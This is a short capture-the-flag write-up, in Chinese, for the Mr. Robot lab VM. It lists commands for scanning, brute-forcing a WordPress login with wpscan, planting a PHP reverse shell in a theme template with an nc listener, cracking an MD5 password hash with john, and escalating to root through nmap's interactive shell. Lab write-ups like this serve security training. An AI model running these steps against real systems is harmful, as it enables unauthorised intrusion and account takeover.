Hack the Mr. Robot VM (CTF Challenge)

https://www.vulnhub.com/entry/mr-robot-1,151/

http://www.hackingarticles.in/hack-mr-robot-vm-ctf-challenge/

http://mrb3n.weebly.com/uploads/5/8/2/1/58218/mrrobot_writeup_06282016.pdf

  1. nmap -A 192.168.0.102: 有開TCP 80 port
  2. nikto -h 10.0.2.134: TCP 80 port底下有/robots.txt和/wp-login.php
    User-agent: *
    fsocity.dic
    key-1-of-3.txt
    
  3. http://10.0.2.134/key-1-of-3.txt 第一個flag get
  4. 下載fsocity.dic
  5. 嘗試登入/wp-login.php,網站可以列舉使用者帳號,發現elliot使用者
  6. 使用wpscan暴力破解密碼:
    • wpscan --url http://10.0.2.134/wp-login.php --wordlist /root/fsocity.dic --username elliot --wp-content-dir /wp-content
    • 最後得到密碼為ER28-0652,總共花了三、四小時(我沒跑完)
  7. 登入WP後,在Appearance -> Editor -> 404 Template 上傳php shell (http://pentestmonkey.net/tools/web-shells/php-reverse-shell)
  8. 修改攻擊者IP和Port後,開啟listen port: nc -lvnp 1234
  9. 開啟後門:http://10.0.2.134/wp-content/themes/twentytwelve/404.php
  10. 在/home/robot/底下有第二個flag,但owner是robot
  11. 另外有個password.raw-md5檔,我們試著破解它robot:c3fcd3d76192e4007dfb496cca67e13b
  12. 使用john破解:john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt mrrobot.password
  13. 得到:abcdefghijklmnopqrstuvwxyz (robot)
  14. 在切換使用者時遇到:
    $ su robot                         
    su: must be run from a terminal
    
  15. 輸入echo "import pty; pty.spawn('/bin/bash')" > /tmp/shell.py
  16. 執行python /tmp/shell.py
  17. 再次切換至robot身份並得到第二把flag
  18. 利用nmap的interactive執行!sh,取得root shell:
    nmap --interactive
    !sh
    
  19. 在/home/root/底下得到最後一個flag

results matching ""

    No results matching ""